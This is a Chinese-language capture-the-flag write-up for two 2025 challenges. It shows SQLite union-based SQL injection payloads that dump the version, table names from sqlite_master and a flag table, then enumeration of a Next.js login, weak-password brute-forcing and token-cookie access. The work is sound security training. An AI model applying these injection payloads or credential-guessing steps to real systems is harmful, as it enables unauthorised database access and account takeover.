1:基于sqlite的sql注入
2:next.js
[GHCTF 2025]SQL???
------bool盲注,union注入
测试代码
给了web页面,先测一下

又一个flask,而且有参数,直接尝试sql,并且注意,这里的正常页面长度大概是710k+

恒真恒假测试,回显有异,继续进行bool盲注,试了好几个mysql函数都用不了,尝试SQLlite回显了一个正常页面

后端数据库为 SQLite,
以下环境换成23570端口
在url里探测列数,测到?id=1 order by 6--+报错,说明有5列

继续测联合注入?id=-1 union select 1,2,3,4,5--+,回显成功

学习一下SQLite:
- SQLite 是文件型数据库,MySQL 是服务型数据库,两者注入方式不同
- SQLite没有默认端口,但mysql默认端口是3306
- 前者获取版本是sqlite_version(),后者是version() or @@VERSION
- 都能用group_concat()
- SQLite用group_concat(name)一次性查出所有表名
- sqlite_master是SQLite 的元数据目录表,存储所有表的信息,相当于 MySQL 的
information_schema
爆版本号?id=-1 union select 1,sqlite_version(),3,4,5--+

爆表名:?id=-1 union select 1,sqlite_version(),group_concat(name),4,5 from sqlite_master

发现flag表,进一步进去看?id=-1 union select 1,*,3,4,5 from flag

成功找到flag
[LitCTF 2025]nest_js
进去是一个登录框,先disearch扫下url,只扫到一个favicon.ico ,进去看是一个图标,没什么用,whatweb看一下

PasswordField,跟页面的登录框对应上,注意还有个X-Powered-By[Next.js],说明前面的x框架由Next.js驱动
学习一下Next.js,Next.js 是框架 ,它基于 React(构建用户界面的JS库) ,并给它加上了路由、服务端渲染、API 后端 等全套功能
题目提示了弱口令爆破,但是对于next.js./react框架,页面源码看不到是post还是get,js文件里才能看到
看源码再确定一下,提交框无action属性

路径里有js文件

下载这个文件
curl -s http://node1.anna.nssctf.cn:23171/_next/static/chunks/app/login/page-b20a48e2d273348a.js -o login_page.js
目的: Next.js 会将页面逻辑打包到 /_next/static/chunks/ 目录,分析这些文件找到 API 端点。
下载登录页面的 JS 文件(从页面源码中找到的路径)
curl -s http://node1.anna.nssctf.cn:21007/_next/static/chunks/app/login/page-b20a48e2d273348a.js -o login_page.js
搜索 API 相关关键词 grep -E "(api|fetch|axios|login|/api/)" login_page.js | head -20
发现了是POST,两个字段名是username和password

弱密码爆破得到admin:password
携带 token 访问 dashboard
curl -s -H "Cookie: token=generated-jwt-token-here" \ http://node1.anna.nssctf.cn:22877/dashboard
得到flag
